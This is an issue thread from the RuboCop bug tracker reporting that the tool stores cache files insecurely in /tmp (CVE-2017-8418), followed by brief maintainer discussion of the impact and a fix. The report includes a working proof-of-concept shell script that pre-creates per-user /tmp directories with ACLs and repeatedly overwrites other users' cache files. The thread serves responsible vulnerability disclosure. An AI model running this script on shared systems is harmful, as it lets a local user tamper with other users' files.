Insecure use of /tmp

[jwilk]

Actual behavior

RuboCop uses /tmp to store cache files insecurely.
Malicious local users could exploit this to tamper with cache files belonging to other users.

Expected behavior

RuboCop should not abuse /tmp for cache.
Please consider adopting XDG Base Directory Specification, which says cache should be stored in $XDG_CACHE_HOME or $HOME/.cache.

Steps to reproduce the problem

Proof-of-concept exploit:

#!/bin/sh
set -e -u
cd /tmp
uids=$(cut -d: -f3 /etc/passwd | sort -u)
mkdir -m 777 $uids || {
    printf '%s: Failed to pre-create some /tmp/$UID directories. Maybe try again after reboot?\n' "$0" >&2
    exit 1
}
setfacl -d -m "u:$USER:rwx" $uids || {
    printf '%s: This exploit requires ACLs to work. Sorry!\n' >&2
    exit 1
}
## Past this point, we have write permissions to all cache files.
## We can replace them with our own contents.
export json='[{"severity":"error","location":{"begin_pos":0,"end_pos":0},"message":"No, /tmp is not an appropriate location for cache","cop_name":"Syntax","status":"uncorrected"}]'
while true
do
    find $uids -type f -exec sh -c 'printf "%s" "$json" > "$1"' - {} \;
    sleep 1
done

RuboCop version

0.48.1 (using Parser 2.4.0.0, running on ruby 2.1.5 i386-linux-gnu)

[carnil]

Requested an CVE identifier via https://cveform.mitre.org/

[carnil]

CVE-2017-8418 has been assigned for this issue.

[mikegee]

Please excuse my ignorance, but what is exactly is the vulnerability? Other local users could pollute my Rubocop output with nonsense? Or is it worse than that?

[mikegee]

@jonas054 should have a look at this. I think he is the "cache guy" around here. 😄

[reedloden]

This was submitted to oss-security -- http://www.openwall.com/lists/oss-security/2017/05/01/14

[jonas054]

Other local users could pollute my Rubocop output with nonsense?

I think that's the extent of the problem. Anyway, I'm willing to fix it according to the suggestion from @jwilk unless anyone has any good counterarguments.